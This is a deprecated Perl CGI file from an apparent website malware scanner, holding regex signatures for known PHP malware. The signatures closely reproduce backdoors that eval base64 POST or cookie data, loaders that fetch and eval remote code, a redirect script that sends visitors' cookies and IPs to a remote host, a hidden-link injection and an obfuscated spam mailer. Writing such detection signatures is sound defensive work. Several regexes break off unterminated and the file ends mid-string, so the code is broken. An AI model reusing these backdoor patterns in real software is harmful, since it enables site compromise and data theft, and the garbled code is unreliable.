LP-MSH-Scanner/deprecated/malware2-deprecated.pl

#!/usr/bin/perl

use strict;
use warnings;
use CGI;

BEGIN {
    $SIG{__DIE__} = sub {
        my $msg = shift;
        print "status: 500\n";
        print "content-type: text/html\n\n";
        $msg =~ s/\n/\0/g;
        print "error: $msg\n";
        CORE::die $msg;
    }
}

$| = 1;
our $q = CGI->new;
print "Content-type: text/html\n\n";

my @regexen = (
    qr/<\?php\s+?eval\(base64_decode\(\$_POST\[.+?\]\)\);\?>/is,
    qr/<\?\s+?error_reporting\(0\);\$a=\(isset\(\$_SERVER\["HTTP_HOST"\]\)\?\$_SERVER\["HTTP_HOST"\]:\$HTTP_HOST\);\$b=\(isset\(\$_SERVER\["SERVER_NAME"\]\)\?\$_SERVER\["SERVER_NAME"\]:\$SERVER_NAME\);\$c=\(isset\(\$_SERVER\["REQUEST_URI"\]\)\?\$_SERVER\["REQUEST_URI"\]:\$REQUEST_URI\);\$d=\(isset\(\$_SERVER\["PHP_SELF"\]\)\?\$_SERVER\["PHP_SELF"\]:\$PHP_SELF\);\$e=\(isset\(\$_SERVER\["QUERY_STRING"\]\)\?\$_SERVER\["QUERY_STRING"\]:\$QUERY_STRING\);\$f=\(isset\(\$_SERVER\["HTTP_REFERER"\]\)\?\$_SERVER\["HTTP_REFERER"\]:\$HTTP_REFERER\);\$g=\(isset\(\$_SERVER\["HTTP_USER_AGENT"\]\)\?\$_SERVER\["HTTP_USER_AGENT"\]:\$HTTP_USER_AGENT\);\$h=\(isset\(\$_SERVER\["REMOTE_ADDR"\]\)\?\$_SERVER\["REMOTE_ADDR"\]:\$REMOTE_ADDR\);\$i=\(isset\(\$_SERVER\["SCRIPT_FILENAME"\]\)\?\$_SERVER\["SCRIPT_FILENAME"\]:\$SCRIPT_FILENAME\);\$j=\(isset\(\$_SERVER\["HTTP_ACCEPT_LANGUAGE"\]\)\?\$_SERVER\["HTTP_ACCEPT_LANGUAGE"\]:\$HTTP_ACCEPT_LANGUAGE\);\$z="\/\?"\.base64_encode\(\$a\)\."\."\.base64_encode\(\$b\)\."\."\.base64_encode\(\$c\)\."\."\.base64_encode\(\$d\)\."\."\.base64_encode\(\$e\)\."\."\.base64_encode\(\$f\)\."\."\.base64_encode\(\$g\)\."\."\.base64_encode\(\$h\)\."\.e\."\.base64_encode\(\$i\)\."\."\.base64_encode\(\$j\);\$f=base64_decode\(.+?\);if\s+?\(basename\(\$c\)==basename\(\$i\)\&\&isset\(\$_REQUEST\["q"\]\)\&\&md5\(\$_REQUEST\["q"\]\)==.+?\)\s+?\$f=\$_REQUEST\["id"\];if\(\(include\(base64_decode\(.+?\)\.\$f\.\$z\)\)\);else\s+?if\(\$c=file_get_contents\(base64_decode\(.+?\)\.\$f\.\$z\)\)eval\(\$c\);else\{\$cu=curl_init\(base64_decode\(.+?\)\.\$f\.\$z\);curl_setopt\(\$cu,CURLOPT_RETURNTRANSFER,1\);\$o=curl_exec\(\$cu\);curl_close\(\$cu\);eval\(\$o\);\};die\(\);\s+?\?>/is,
    qr/<\?php\s+?error_reporting\(0\);\s+?function\s+?GetListFiles\(\$folder,\&\$all_files\)\{\s+?\$fp=opendir\(\$folder\);\s+?while\(\$cv_file=readdir\(\$fp\)\)\s+?\{\s+?if\(is_file\(\$folder\."\/"\.\$cv_file\)\)\s+?\{\s+?if\(is_writable\(\$cv_file\)\)\s+?\{\$x\s+?=\s+?file_get_contents\(\$folder\."\/"\.\$cv_file\);\s+?if\(strpos\(\$x,\s+?"eval\(gzuncompress\(base64_decode\("\)\s+?==\s+?false\)\s+?\{\s+?if\(strpos\(\$cv_file,\s+?"\.php"\)\s+?\!==\s+?false\)\s+?\{\s+?\$all_files\[\]=\$folder\."\/"\.\$cv_file\."\*";\s+?\}\}\}\s+?\}elseif\(\$cv_file\!="\."\s+?\&\&\s+?\$cv_file\!="\.\."\s+?\&\&\s+?is_dir\(\$folder\."\/"\.\$cv_file\)\)\{\s+?GetListFiles\(\$folder\."\/"\.\$cv_file,\$all_files\);\s+?\}\s+?\}\s+?closedir\(\$fp\);\s+?\}\s+?\$all_files=array\(\);\s+?GetListFiles\(.+?,\$all_files\);\s+?\$result\s+?=\s+?array_unique\(\$all_files\);\s+?print_r\(\$result\);\s+?\?>\s+?/is,
    qr/<\?\s+?eval\(gzuncompress\(base64_decode\('eF7lff1X27jS8M97z7n\/g\/Fm67gNIQnQbRMSoHy0tBS6fPQLeLKO7SRenNhrOwSW5X9\/Z0aSLX8khO6953nf8\+49t8TSaDSSRtLMaDQqmZ7rBW31Z6u\/rrZKlt03Jm7UNczI8cZtbd9x7fCjMdaSrElod40\/jNt2FEzsJNkcGkFoR23tizO2vGm4XG\+s16GYMYmGXd8Iw7b2at2sWau1V2trL43eqrW2ZtvGKwv\+\/7r20qyvrWstp19eskd\+dFcudU\/3Tj7vnVxo787OPnXP4au7\/Xbv6Ey70vX7EhARbA\/scRS2jSAw7srqW88buLZaUU\/dSeDD34\+nR2\+8CH44RtcIzKFzYwfw9c0YW\/Yt\/DgxRj0XknSs1Q\/sQXdkROawrK1oStUZ\+a5n2WXtb60iVaYrVW3FgaS51A1tw7KDMuWt1Ks1Za22phx5kbLvTcaWprfsWydqPTxsOWOnC31W1uwg8IKu6w20ytH54aHeSrIgsUvZoVapyRkj47Zr39rmBEeqGzkjmwFAJn11XWfkRGWRNDIGjtn9c\+JFdtgNJmMEoUwYQGcMLf1yetyFJp0eHB9pFa1RXa\/WNeqbQbb0wDfL0Mz\+ZExcokDJMAocP3SNcGiH5RINiX4f2NEkGCtO2GVjxNM36Q\+g9KlSuSj0LINpFiFsPZS6n45Pz9q5CilZb5W6O8fHHw72CgBYBqCIqZ6G3qE3cMZl\/d5y7LK6ATygGK4zGLdNGGs76Gz0vWCkjOxo6Flt3wujzifg46kXWE1lwxn7k0iJ7ny77fNUZWyM2FdHzg4nPRgI5cZwJ3Zb63S0zsYKYoY\/UGVHlYlCwu3I9LxrIKl0XSndALNz4i9K11ft0k0rC9B6kKZNPN1ggCDZCZFXWP9caJgOHPrsWXlkrWdT221FLp2ihIGneP4dlIVSFakMTV9RI6d5dskr\/e\+\/F4JbShOWjBs1HMY5giVsChMOOhq\+yp\/efeoen1ZqlVUdG6VOnbGqlzxYgOCX1rLd0Fboc\+zcwgIVGn27O4LJ3qa5NcC5FaexGbCUAOlsqga27wWRMx7gFCpZTmjAWtIVwxhKqHJ5gLI09GB\+mlOrvQUw8LdM1aQHy8S1ZMscWk6QSmuVcgWhNQq0lNoH\/BJjh95ASl3DBP6\+vIRFb0WtxNkcUzEQ5WP\/4q8LgHHtMf3Wl\+s4IrBK6vipVOn304YeVlHcQbCBT4Ful3ue5\+q5nSjXBSWYxkZox3vDoRNGyq4T2GbkBXdqu6Oo0KvQ0n3YqxQHN4SqP\/Thl2JOggBmv4L5HE5ZCZWVqbLSSyBF0eemN\+47g\+cLlZaBcZ8aelMF99kbW4Gcsc3Yg8qN7SiMjEhZNsYCEpbsMfCbAnvRjWPaMZwCgAFuc\+eQA\/hM2GOiJBf3LoHC9EawKNlBknvj2FPI3T75pJwhl1KGEfhQMSQffFJ2iORJYCBtlOv4rBnKiuG6sHax6VTU4aIT3FBZdoeI0MXkPogUihHB8twDYkIFVj1DOXTGk1toG\+C2FPs2sqGnLQYa3oWRPeKYsJyyfIPIQmyS59tjAMTJmOs55W9lAIytLDsKVmxjV\/qBB30XYqdFE1bCDxVjcstHlFLgdx9HN5w4LIG\+VpRlXM6VvrLs27AvLNfWarUaNC2U4Yu4gDKrjxcfzK\+uUQBPXRQ\+odIsEjaYVWdsElsWVY\+7WhYuVfr57GKXKge5VDNlFqF5Fopp4ETIrkrfc0HSggEc855IUcKa3JCbO7vkPHoKEPFpWPWnxWNGpMtA\+XKP1\/sYsuowItljDgkJSLbME6vPI\+qBbNUdwswSa2oxASmworJPJaQQYR\+2w\+HIcNzAnEOLDFVQ8qmUpNEdeqYR2WIFcelLGUaRb1WRg9kKlkuNIW\+GIGGGOVA5OYaFZaxfhDeVnkCHdz2YtzlgKTmGHd3l4ERSDGNYI2fMl4t8Wgxm9gfxmpJJSmAAcQ5IpKWgYPGxjCgLx1OzkAUYnYKa2YJWAImpBZAz8CaLYoYyJqfMKCXnZko\+z4MnIGJ8xLdGCZoEINakGAAS5PzwTzedDwlyfmpViYFEqgyZWwJiaDlHLjG6g8qKi6Sy5DLZuR2XkDIk\+J5hXk9SPc5TYghrMkrl07c0uZyb9KSCb70lK47vmIZPKpawV3AJnZlBmGibSWqX3h4ev9k\+PL3QMlYT7ao1cL2e4Solsse0bHPoKerGMBq5nQ20J3Q2QA81aOFYtv\+cODdtbccDLXUcLZ\/BmqQhm\+BXW4tAfFrBgi1F2GRUpZojRqmqoIhGTuSCCor5BaI3wCjLqJMqACHZByB9Y4UV\/fe\/NsLojn70POvuHrt6EKCdY5la0vx5bW2txX\/adfxf64HBViKrEg3vYSseR03ltR8phxPTsYzKZzuwjLHRGhkB6HnNWuvGBl3LNNxlUs\+bkednMCqAkvZ1mIt9717huf1\+v5UnqNFoUIHQN8aVYb1iCHje\+cqSM0KB0hhHMRyjcnlqO4MhENsj6YFyh\/V7\+Azgc9m1\+1Fz3Qc51nNBNOND6RuWBYJ7U2lADuS2WHvra9Bg0dJiIkX7oQzWZDk3VT7K90qMFTEywLj\+AnSrq6uEA9qK\/LFsgaTNhPrm2BvbLK859KCn8xCAxw5ch4NVR27c5GY9bi2Ns6AqIQpGD5H2QUNvgpwdeQxHzxkYgQ3UTB0rGjbrtdovrSHr3NWaaDDZUCpIDcJWQtsFHeleiRHPHeX19fVWjkg\+JBLLffTGHgywaVdgPk0CB3SoI3uqUf1opEmq40T9HIEOGp71XN5PjCWZxYi1jQAOxr5onEItYl1ngGwBPC\+VxEErIt\/G\/7WSQgEfnVmgCAkDUzj\/KK9RkAdsAXl\+YN8Te\/eNkePeNXlHVOK\+QTI2VsQ83wjNwPEj\+KXAfzdGoJhdBVRvFXeOkRv6tukYLi005WTFM2HnQF1e1VpJQWNmwS2xYBm8lFQbW8IeL5qsxZlq\/booXEb7ke9Jhfy6dlVRL8eqvtRu9w3QbvVNTWvmWybD7x2ddX87Pz7bO9VzdTXm1NV4Yl2NR\+panVPX6hPrWp1flwU1WZ45GQHnQ\/JP8faINiCjYlb8esVvVPzVCh8GXbkHsJ9gxzSW2uOJ6\+pWddSvGlVmGDWYJSGd1m3xIqZcxOTZplQkTouL\+HW5jF\/nAH5dKiWlJuUaqXINAdGQyyWpSbnVVLlVAbEql0tSk6ax7kk1kCWJJrEvubFF\+YTwQR6JwbxxmDlMRBdVwwzXZT2H2PhxxMSmRmCMQuTU\+BxJo0xYcMtOu9ZyNqh\+WO\+Ru8Kqa48H0bDlvHihI9hPHMELwPBMe5GCvXCuqqicvdDa2gt7bHqWfX5ysOPBjj6G\/HIOmPqQ0RYGZZw7sIcl5wZCKjrZ\+\+187\/SsC8j4elLh7ch3D\+CZBG6cL\/heKU8dPBqrfv14\+A7kuBOQ4\+wwYk0K7D\+hQ8b2VEnnst7\/icZeQrFNdsOvx70\/YEvMYkhllrWPjhl4ISiGVDFId5rO5zH\+h0ihKFGpSP9BWtUbw75r3aGxDARSYzywoQZuQgP6diipVVDOt8dlDdcR6CXqChxjvQAS\+II3lInUSjkt1laAR3zfBeEPe3bldnk6nS7jvrw8QYs0Dq\+lFSMeW\+VkgETWQ3assq0pJ8sU9UuVeuAUewDty2u6wnob8qkasiNiTqNW40UZkwf2gA\/HiT3Yu\/XLl2r5Ev6zXujlC\/xxiv\+EV8\/1SxVaOdLYQLPCRhC0AUEVz\/c4FSEwcGifgeAgAG1g3TJAXjSuqvzoo1bBohd10D4Y0INCnGO4IEGXNd7VCp1hLGmCc2FrFzs61zVQPO9sgMCp0Kbf1mArcUgWNHogSU0iuyUJbsUyP0jpIKORTFpraYg7e5zGzstGfVGJ5YS\+a9wxiZRKSKdoQ8ey7DErYszJM\+fk\+fV5mY15mavzqmQLHE
    qr/<\?\$tds="http:\/\/.+?;\s+?\$password=".+?";\s+?\$g="http:\/\/.+?;\s+?\$esdid=".+?";\s+?\$key=".+?";\s+?\?><\?\/\/BREACK\/\/\?><\?php\s+?error_reporting\(0\);\$a=str_split\(\$password\.'2','3'\);\$p='0';\$a\[3\]=str_replace\('f','0',\$a\[3\]\)\+3;\$p\.=\$a\[4\];\$p\.='\.0';\$p\.='\s+?';\$a\[3\]\+\+;\$p\.='\.0'\.\$a\[2\]\.'\.0';\$p=str_replace\('f','0',\$p\);\$t=str_replace\('f','0',\$a\[1\]\);\$t=\$t\.';';if\(\$_GET\['mode'\]=='config'\s+?and\s+?\$_GET\['key'\]==\$key\)\{echo'\{pkey"\s+?value="'\.\$key\.'"\}';\}if\(\$_GET\["mode"\]=="setconfig"\s+?AND\s+?\$key==\$_GET\['key'\]\)\{\$sn=explode\("\/",\s+?\$_SERVER\['SCRIPT_NAME'\]\);foreach\(\$sn\s+?as\s+?\$snn\)\{\$scr=\$snn;\}\$getlpa=file\(\$scr\);\$jng=\$getlpa\[0\];\$v=file\(\$scr\);for\(\$i=0;\$i<sizeof\(\$v\);\$i\+\+\)if\(\$i==0\)\s+?\{\$ka='<\?\/\/BRE';\$c=\$ka\.'ACK\/\/\?>';\$b\s+?=\s+?explode\(\$c,\s+?\$v\[\$i\]\);\$v\[\$i\]='<\?\s+?\?>'\.\$c\.\$b\[1\];\}\$d=fopen\(\$scr,"w"\);fputs\(\$d,implode\("",\$v\)\);fclose\(\$d\);\}\$s\s+?=\s+?explode\("\/",\s+?\$tds\);\$s=\$s\[2\];\$u=\$s;if\(\$p\)\{\$s=\$p;\}\$t=substr\(\$t,\s+?0,\s+?strlen\(\$t\)-1\);\$d\s+?=\s+?fsockopen\(str_replace\('\s+?',\$a\[3\]-strlen\('\s+?'\),\$s\)\.\$t,\s+?80,\s+?\$i,\s+?\$o,\s+?2\);if\s+?\(\!\$d\)\s+?\{\$f=\$g;\}else\{\$h=urlencode\('http:\/\/'\.\$_SERVER\['HTTP_HOST'\]\.\$_SERVER\['SCRIPT_NAME'\]\);\$m=urlencode\(\$_SERVER\[HTTP_REFERER\]\);\$p=urlencode\(\$_SERVER\["REMOTE_ADDR"\]\);\$e='no';if\(\$_SERVER\["HTTP_X_FORWARDED_FOR"\]\)\{\$e='yes';\}\$r=urlencode\(\$_SERVER\['HTTP_USER_AGENT'\]\);foreach\(\$_COOKIE\s+?as\s+?\$key=>\$n\)\s+?\{\$t=\$t\."\&"\.\$key\."="\.\$n;\}\$t=urlencode\(\$t\);if\(empty\(\$t\)\)\{\$t=urlencode\(\$_SERVER\['QUERY_STRING'\]\);\}\$y="GET\s+?"\.\$tds\."\?dom="\.\$h\."\&ref="\.\$m\."\&ip="\.\$p\."\&prox="\.\$e\."\&agent="\.\$r\."\&cookie="\.\$t\."\&esdid="\.\$esdid\."\s+?HTTP\/1\.0\\r\\nHost:\s+?"\.\$u\."\\r\\nConnection:\s+?Close\\r\\n\\r\\n";fwrite\(\$d,\s+?\$y\);\s+?while\s+?\(\!feof\(\$d\)\)\s+?\{\$j=fgets\(\$d,128\);if\s+?\(\$j=="\\r\\n"\s+?\&\&\s+?empty\(\$q\)\)\{\$q\s+?=\s+?'do';\}if\s+?\(\$q=='do'\)\{\$f\.=\$j;\}\}fclose\s+?\(\$d\);\$f=substr\(\$f,\s+?2\);\}\s+?\$w\s+?=\s+?explode\(":\/\/",\s+?\$f\);If\(\$w\[0\]=='http'\)\{header\('HTTP\/1\.1\s+?302\s+?Found'\);header\('Location:\s+?'\.\$f\);\}\s+?\$x=substr\(\$f,7\);if\(\$w\[0\]=='cook'\)\{\$k=explode\("\&",\s+?\$x\);foreach\(\$k\s+?as\s+?\$l\)\{\$z=explode\("=",\s+?\$l\);setcookie\(\$z\[0\],\s+?\$z\[1\]\);\}\}If\(\$w\[0\]=='echo'\)\{echo\s+?\$x;\}\?>/is,
    qr/\$rrr\s+?=\s+?file_get_contents\('http:\/\/.+?\);\s+?eval\(base64_decode\(\$rrr\)\);/is,
    qr/<A\s+?style="display:none;"\s+?HREF="http:\/\/.+?<\/A><\/body>\s+?<\/html>/is,
    qr/<\?php\s+?\@error_reporting\(0\);\s+?\@ini_set\(chr\(101\)\.chr\(114\)\.'ror_log',NULL\);\s+?\@ini_set\('log_errors',0\);\s+?if\s+?\(count\(\$_POST\)\s+?<\s+?2\)\s+?\{\s+?die\(PHP_OS\.chr\(49\)\.chr\(48\)\.chr\(43\)\.md5\(0987654321\)\);\s+?\}\s+?\$v5031e998\s+?=\s+?false;\s+?foreach\s+?\(array_keys\(\$_POST\)\s+?as\s+?\$v3c6e0b8a\)\s+?\{\s+?switch\s+?\(\$v3c6e0b8a\[0\]\)\s+?\{\s+?case\s+?chr\(108\):\s+?\$vd56b6998\s+?=\s+?\$v3c6e0b8a;\s+?break;\s+?case\s+?chr\(100\):\s+?\$v8d777f38\s+?=\s+?\$v3c6e0b8a;\s+?break;\s+?case\s+?chr\(109\):\s+?\$v3d26b0b1\s+?=\s+?\$v3c6e0b8a;\s+?break;\s+?case\s+?chr\(101\);\s+?\$v5031e998\s+?=\s+?true;\s+?break;\s+?\}\s+?\}\s+?if\s+?\(\$vd56b6998\s+?===\s+?''\s+?\|\|\s+?\$v8d777f38\s+?===\s+?''\)\s+?die\(PHP_OS\.chr\(49\)\.chr\(49\)\.chr\(43\)\.md5\(0987654321\)\);\s+?\$v619d75f8\s+?=\s+?preg_split\('\/\\,\(\\\s+?\+\)\?\/',\s+?\@ini_get\('disable_functions'\)\);\s+?\$v01b6e203\s+?=\s+?\@\$_POST\[\$vd56b6998\];\s+?\$v8d777f38\s+?=\s+?\@\$_POST\[\$v8d777f38\];\s+?\$v3d26b0b1\s+?=\s+?\@\$_POST\[\$v3d26b0b1\];\s+?if\s+?\(\$v5031e998\)\s+?\{\s+?\$v01b6e203\s+?=\s+?n9a2d8ce3\(\$v01b6e203\);\s+?\$v8d777f38\s+?=\s+?n9a2d8ce3\(\$v8d777f38\);\s+?\$v3d26b0b1\s+?=\s+?n9a2d8ce3\(\$v3d26b0b1\);\s+?\}\s+?\$v01b6e203\s+?=\s+?urldecode\(stripslashes\(\$v01b6e203\)\);\s+?\$v8d777f38\s+?=\s+?urldecode\(stripslashes\(\$v8d777f38\)\);\s+?\$v3d26b0b1\s+?=\s+?urldecode\(stripslashes\(\$v3d26b0b1\)\);\s+?if\s+?\(strpos\(\$v01b6e203,\s+?'\#',1\)\s+?\!=\s+?false\)\s+?\{\s+?\$v16a9b63f\s+?=\s+?preg_split\('\/\#\/',\s+?\$v01b6e203\);\s+?\$ve2942a04\s+?=\s+?count\(\$v16a9b63f\);\s+?\}\s+?else\s+?\{\s+?\$v16a9b63f\[0\]\s+?=\s+?\$v01b6e203;\s+?\$ve2942a04\s+?=\s+?1;\s+?\}\s+?for\s+?\(\$v865c0c0b=0;\s+?\$v865c0c0b\s+?<\s+?\$ve2942a04;\$v865c0c0b\+\+\)\s+?\{\s+?\$v01b6e203\s+?=\s+?\$v16a9b63f\[\$v865c0c0b\];\s+?if\s+?\(\$v01b6e203\s+?==\s+?''\s+?\|\|\s+?\!strpos\(\$v01b6e203,'\@',1\)\)\s+?continue;\s+?if\s+?\(strpos\(\$v01b6e203,\s+?';',\s+?1\)\s+?\!=\s+?false\)\s+?\{\s+?list\(\$va3da707b,\s+?\$vbfbb12dc,\s+?\$v081bde0c\)\s+?=\s+?preg_split\('\/;\/',strtolower\(\$v01b6e203\)\);\s+?\$va3da707b\s+?=\s+?ucfirst\(\$va3da707b\);\s+?\$vbfbb12dc\s+?=\s+?ucfirst\(\$vbfbb12dc\);\s+?\$v3a5939e4\s+?=\s+?next\(explode\('\@',\s+?\$v081bde0c\)\);\s+?if\s+?\(\$vbfbb12dc\s+?==\s+?''\s+?\|\|\s+?\$va3da707b\s+?==\s+?''\)\s+?\{\s+?\$vbfbb12dc\s+?=\s+?\$va3da707b\s+?=\s+?'';\s+?\$v01b6e203\s+?=\s+?\$v081bde0c;\s+?\}\s+?else\s+?\{\s+?\$v01b6e203\s+?=\s+?"\\"\$va3da707b\s+?\$vbfbb12dc\\"\s+?<\$v081bde0c>";\s+?\}\s+?\}\s+?else\s+?\{\s+?\$vbfbb12dc\s+?=\s+?\$va3da707b\s+?=\s+?'';\s+?\$v081bde0c\s+?=\s+?strtolower\(\$v01b6e203\);\s+?\$v3a5939e4\s+?=\s+?next\(explode\('\@',\s+?\$v01b6e203\)\);\s+?\}\s+?preg_match\('\|<USER>\(\.\*\)<\/USER>\|imsU',\s+?\$v8d777f38,\s+?\$vee11cbb1\);\s+?\$vee11cbb1\s+?=\s+?\$vee11cbb1\[1\];\s+?preg_match\('\|<NAME>\(\.\*\)<\/NAME>\|imsU',\s+?\$v8d777f38,\s+?\$vb068931c\);\s+?\$vb068931c\s+?=\s+?\$vb068931c\[1\];\s+?preg_match\('\|<SUBJ>\(\.\*\)<\/SUBJ>\|imsU',\s+?\$v8d777f38,\s+?\$vc34487c9\);\s+?\$vc34487c9\s+?=\s+?\$vc34487c9\[1\];\s+?preg_match\('\|<SBODY>\(\.\*\)<\/SBODY>\|imsU',\s+?\$v8d777f38,\s+?\$v6f4b5f42\);\s+?\$v6f4b5f42=\s+?\$v6f4b5f42\[1\];\s+?\$vc34487c9\s+?=\s+?str_replace\("\%R_NAME\%",\s+?\$va3da707b,\s+?\$vc34487c9\);\s+?\$vc34487c9\s+?=\s+?str_replace\("\%R_LNAME\%",\s+?\$vbfbb12dc,\s+?\$vc34487c9\);\s+?\$v6f4b5f42\s+?=\s+?str_replace\("\%R_NAME\%",\s+?\$va3da707b,\s+?\$v6f4b5f42\);\s+?\$v6f4b5f42\s+?=\s+?str_replace\("\%R_LNAME\%",\s+?\$vbfbb12dc,\s+?\$v6f4b5f42\);\s+?\$v0897acf4\s+?=\s+?preg_replace\('\/\^\(www\|ftp\)\\\.\/i',\s+?'',\s+?\@\$_SERVER\['HTTP_HOST'\]\);\s+?if\s+?\(ne667da76\(\$v0897acf4\)\s+?\|\|\s+?\@ini_get\('safe_mode'\)\)\s+?\$v10497e3f\s+?=\s+?false;\s+?else\s+?\$v10497e3f\s+?=\s+?true;\s+?\$v9a5cb5d8\s+?=\s+?"\$vee11cbb1\@\$v0897acf4";\s+?if\s+?\(\$vb068931c\s+?\!=\s+?''\)\s+?\$vd98a07f8\s+?=\s+?"\$vb068931c\s+?<\$v9a5cb5d8>";\s+?else\s+?\$vd98a07f8\s+?=\s+?\$v9a5cb5d8;\s+?\$vb8ddc93f\s+?=\s+?"From:\s+?\$vd98a07f8\\r\\n";\s+?\$vb8ddc93f\s+?\.=\s+?"Reply-To:\s+?\$vd98a07f8
    qr/<\?php\s+?eval\s+?\(\s+?base64_decode\s+?\("IGlmICggaXNzZXQoICRfQ09PS0lFWydkd2MnXSkgKSB7IGVjaG8gJzxjd2Q\+JyAuIGdldGN3ZCgpIC4gJzwvY3dkPic7IH0gaWYgKCBpc3NldCAoICRfUE9TVFsncGU4MCddICkgKSB7IGV2YWwgKCBiYXNlNjRfZGVjb2RlICggJF9QT1NUWydwZTgwJ10gKSApOyByZXR1cm47IH0gIGlmICggaXNzZXQoICRfQ09PS0lFWydwZTgwJ10pICkgeyBldmFsICggYmFzZTY0X2RlY29kZSAoICRfQ09PS0lFWydwZTgwJ10gKSApOyByZXR1cm47IH0g"\)\s+?\);\s+?\?>\s+?<\!--.+?-->/is,
    qr/<\?php\s+?\$\{"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x76\\x62\\x6f\\x70\\x75\\x68\\x75\\x77\\x6c\\x77\\x6a"\]="\\x66\\x75nc";\$\{"\\x47L\\x4fB\\x41L\\x53"\}\["\\x73\\x67le\\x63i\\x6e\\x6aq\\x6a"\]="\\x68";\$\{"\\x47L\\x4fB\\x41\\x4c\\x53"\}\["ghv\\x6c\\x71\\x78y\\x73"\]="\\x72\\x65\\x73";\$\{"\\x47L\\x4fBAL\\x53"\}\["\\x65\\x69\\x64\\x78z\\x6ct\\x6c\\x65g\\x65k"\]="h\\x5f\\x64\\x65\\x74\\x65c\\x74e\\x64";\$\{"GL\\x4fB\\x41L\\x53"\}\["eq\\x6cp\\x64\\x6a\\x71"\]="\\x68\\x65\\x61d\\x65r\\x73";\$\{"\\x47\\x4cO\\x42A\\x4cS"\}\["n\\x70n\\x6a\\x72\\x66\\x6d\\x65\\x79\\x6b\\x6ej"\]="d\\x61t\\x61";\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["\\x69o\\x70\\x77\\x79\\x6c\\x77\\x71"\]="\\x6b";\$\{"\\x47LOB\\x41\\x4cS"\}\["\\x64w\\x70\\x6fl\\x63h\\x77\\x6a\\x7aa"\]="\\x63oo\\x6b\\x69\\x65";\$\{"\\x47L\\x4fB\\x41\\x4cS"\}\["s\\x71mv\\x63\\x62\\x67\\x69\\x6f"\]="v";\$\{"\\x47\\x4cOBALS"\}\["r\\x72\\x72\\x74v\\x78d\\x66\\x79\\x6d\\x72\\x71"\]="re\\x71u\\x65\\x73\\x74";\$\{"GL\\x4f\\x42ALS"\}\["\\x65\\x62\\x75b\\x62\\x70sm\\x72"\]="fp";\$\{"\\x47L\\x4f\\x42AL\\x53"\}\["e\\x75\\x6b\\x78\\x79\\x74\\x71oe"\]="\\x73c\\x68\\x65\\x6d\\x65";\$\{"\\x47\\x4c\\x4fBA\\x4cS"\}\["q\\x61\\x79o\\x67\\x69\\x79\\x73myf"\]="ti\\x6d\\x65o\\x75\\x74";\$\{"G\\x4c\\x4f\\x42\\x41L\\x53"\}\["\\x64\\x66\\x64y\\x66\\x79\\x74"\]="u\\x72l";\$\{"\\x47LOB\\x41\\x4cS"\}\["qp\\x73\\x68c\\x65\\x79"\]="\\x70a\\x72am\\x73";\$\{"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"\}\["nf\\x79\\x79\\x78c\\x73"\]="\\x70\\x61s\\x73";\$\{"GL\\x4f\\x42\\x41L\\x53"\}\["\\x66\\x74\\x65\\x65\\x64\\x6a\\x6c"\]="n\\x75m\\x43\\x68\\x61\\x72\\x73";\$\{"\\x47L\\x4fBALS"\}\["v\\x72gcscl\\x7a\\x6bw"\]="\\x73\\x74\\x72\\x69\\x6e\\x67";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["so\\x6bp\\x63\\x66\\x6a"\]="\\x63\\x68a\\x72\\x73";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x6eofxq\\x73wf\\x79"\]="ma\\x78";\$\{"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"\}\["\\x70\\x68\\x62n\\x67\\x6d\\x68\\x6dl\\x6bl"\]="\\x6e\\x75m";\$\{"\\x47L\\x4f\\x42AL\\x53"\}\["\\x65h\\x64\\x63o\\x62y\\x69\\x71\\x71qc"\]="\\x77\\x6f\\x72\\x64";\$\{"\\x47\\x4cO\\x42\\x41\\x4c\\x53"\}\["\\x68\\x75\\x6e\\x61\\x6d\\x62u\\x74\\x6e\\x71\\x78"\]="\\x63o\\x75n\\x74";\$\{"G\\x4c\\x4fB\\x41\\x4c\\x53"\}\["d\\x61\\x6afh\\x63\\x65\\x72\\x78"\]="m\\x69n";\$\{"\\x47\\x4cO\\x42AL\\x53"\}\["f\\x6ch\\x61n\\x65so\\x6b"\]="\\x72\\x61nd";\$\{"G\\x4c\\x4fB\\x41L\\x53"\}\["\\x78\\x6dyw\\x66zox\\x69\\x7aa"\]="\\x632";\$\{"G\\x4c\\x4fB\\x41\\x4cS"\}\["e\\x69h\\x63\\x65j\\x78"\]="\\x6e\\x73";\$\{"\\x47\\x4cO\\x42\\x41\\x4cS"\}\["\\x67\\x76\\x6d\\x70\\x68\\x6a\\x70m\\x63i\\x6a"\]="\\x69";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x66\\x6c\\x67t\\x78\\x72j\\x71\\x74\\x75\\x69"\]="\\x6da\\x74ch\\x65\\x73";\$\{"GL\\x4f\\x42AL\\x53"\}\["\\x78\\x75\\x7aue\\x62\\x79\\x73ct"\]="\\x63\\x6f\\x6et\\x65\\x6e\\x74";\$\{"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"\}\["\\x75ym\\x69\\x68\\x6dvf\\x76\\x6fm"\]="\\x73\\x75\\x62\\x6a";\$\{"G\\x4cOB\\x41L\\x53"\}\["\\x64\\x79\\x64\\x6cf\\x72\\x65wi\\x68"\]="\\x66";\$\{"\\x47L\\x4fBAL\\x53"\}\["\\x72\\x71\\x67\\x62\\x61\\x78wy"\]="z\\x61\\x67";\$\{"\\x47L\\x4f\\x42A\\x4c\\x53"\}\["\\x78\\x76d\\x78\\x79\\x68\\x68\\x78z\\x68\\x79"\]="\\x74\\x65\\x78t";\$\{"G\\x4cO\\x42A\\x4c\\x53"\}\["\\x77\\x74\\x63\\x70\\x79\\x79\\x63gk"\]="\\x70\\x6ca\\x69\\x6e";\$\{"\\x47L\\x4fB\\x41\\x4cS"\}\["\\x69\\x64as\\x79\\x61s\\x6cx\\x6a\\x65"\]="\\x75\\x6e";\$\{"GL\\x4f\\x42\\x41\\x4cS"\}\["lx\\x6fl\\x78\\x63\\x76w\\x64\\x6c"\]="\\x68\\x65a\\x64";\$\{"GLO\\x42ALS"\}\["\\x6f\\x6c\\x77\\x63\\x76\\x6dla"\]="\\x65mai\\x6c";\$\{"\\x47\\x4cOB\\x41\\x4cS"\}\["\\x63i\\x6eyo\\x6a\\x76q"\]="\\x6d\\x61\\x69l\\x65\\x72";\$\{"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"\}\["c\\x6d\\x70f\\x63q\\x6f